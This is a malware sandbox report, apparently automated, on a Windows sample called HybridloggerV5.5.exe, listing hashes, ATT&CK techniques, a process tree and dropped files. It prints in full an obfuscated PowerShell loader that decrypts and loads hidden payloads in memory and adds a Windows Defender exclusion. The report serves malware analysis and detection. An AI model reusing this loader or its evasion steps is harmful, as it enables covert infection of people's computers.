9be892fdf9ada41f19c410d1a6510fda9839fc849dc9a69ff292a6b89fe240e7

Resubmissions

22-01-2025 00:02

250122-abvbvaxpht 10

21-01-2025 23:59

250121-318jzsyjfq 10

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
22-01-2025 00:02

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General

Target

HybridloggerV5.5.exe
Size

937KB
MD5

c9314841cdbf8522e9ee925039d3bfb7
SHA1

1b851459626862fdae6bdc0dd30aadf7a0f905ee
SHA256

9be892fdf9ada41f19c410d1a6510fda9839fc849dc9a69ff292a6b89fe240e7
SHA512

fb6e8ed3ccae472e19b95f9a1a08968fea7a6457b8d30a35d5f49f466fdf34d321c4cc0d427e753a9063d88456277e8c1d592c5ec1413c96593938b4be778bd0
SSDEEP

24576:61P4yldcwy+Q4sUTB95/MbGkR/ntFdHZknwaIZ1cSsDrM:YP4yj4+Q4sUTB95/MbGkfFdmnwanpM

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2268	powershell.exe
2268	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2268	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2268	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1860 wrote to memory of 2340	1860	HybridloggerV5.5.exe	30
PID 1860 wrote to memory of 2340	1860	HybridloggerV5.5.exe	30
PID 1860 wrote to memory of 2340	1860	HybridloggerV5.5.exe	30
PID 1860 wrote to memory of 2264	1860	HybridloggerV5.5.exe	32
PID 1860 wrote to memory of 2264	1860	HybridloggerV5.5.exe	32
PID 1860 wrote to memory of 2264	1860	HybridloggerV5.5.exe	32
PID 2340 wrote to memory of 2852	2340	cmd.exe	34
PID 2340 wrote to memory of 2852	2340	cmd.exe	34
PID 2340 wrote to memory of 2852	2340	cmd.exe	34
PID 2264 wrote to memory of 2896	2264	cmd.exe	35
PID 2264 wrote to memory of 2896	2264	cmd.exe	35
PID 2264 wrote to memory of 2896	2264	cmd.exe	35
PID 2896 wrote to memory of 2848	2896	net.exe	36
PID 2896 wrote to memory of 2848	2896	net.exe	36
PID 2896 wrote to memory of 2848	2896	net.exe	36
PID 2264 wrote to memory of 2268	2264	cmd.exe	37
PID 2264 wrote to memory of 2268	2264	cmd.exe	37
PID 2264 wrote to memory of 2268	2264	cmd.exe	37

C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.5.exe
"C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1860
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\HybridLoggerFixed.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:2852
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\net.exe
    net file
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2896
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      PID:2848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tzbNpPr1z3nGvgbpSokBMPfW5jnpdEOgrRJQ/JKp40o='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WGsJ0QdC6jC+sSlmc6qolg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpRNZ=New-Object System.IO.MemoryStream(,$param_var); $zCfEW=New-Object System.IO.MemoryStream; $OjVcm=New-Object System.IO.Compression.GZipStream($HpRNZ, [IO.Compression.CompressionMode]::Decompress); $OjVcm.CopyTo($zCfEW); $OjVcm.Dispose(); $HpRNZ.Dispose(); $zCfEW.Dispose(); $zCfEW.ToArray();}function execute_function($param_var,$param2_var){ $buZKU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xpTey=$buZKU.EntryPoint; $xpTey.Invoke($null, $param2_var);}function Add-DefenderExclusion($path_var){ try { Add-MpPreference -ExclusionPath $path_var; } catch { }}$oovly = 'C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat';$host.UI.RawUI.WindowTitle = $oovly;$ywjFO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($oovly).Split([Environment]::NewLine);foreach ($ANKGG in $ywjFO) { if ($ANKGG.StartsWith(':: ')) { $oFhCt=$ANKGG.Substring(3); break; }}$payloads_var=[string[]]$oFhCt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));Add-DefenderExclusion $oovly;execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\HybridLoggerFixed.bat

Filesize
12KB

MD5
89a22d3791ca38666c8144725a74497d

SHA1
96b672089a3c783e4dd27e8da7c0cc1245d55cfd

SHA256
9326ad90526504bfbc876646087bf41a82128fd5d995f624b13ea7ef3e154b94

SHA512
6b73d4fde3a673be8ea4aa169382b8aed1577817193545666a18cc83e918a642adf464090f2c1938b0f75f322e8e18e5304bf15c8eda71b4c072aaea5c294b2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat

Filesize
910KB

MD5
72ecd938d114e246eeebc8ae430fc2e9

SHA1
9ece59be22ceadcb3951093483cc69a76658801d

SHA256
4eafc8d12d2e402d7de955ffa3940c070d40dea9f2eda1260962518204304f65

SHA512
d2839e5226f9753f5098072b5cb7ab0f30318f3255355ae69fc75efc0ecfced89eb74788716b01a511e2461fa1c21052a336c1873aa82ef411cb710c4f14059e

Download Submit
memory/1860-0-0x000007FEF5973000-0x000007FEF5974000-memory.dmp

Filesize
4KB

Download
memory/1860-1-0x0000000000C50000-0x0000000000D40000-memory.dmp

Filesize
960KB

Download
memory/2268-24-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2268-25-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download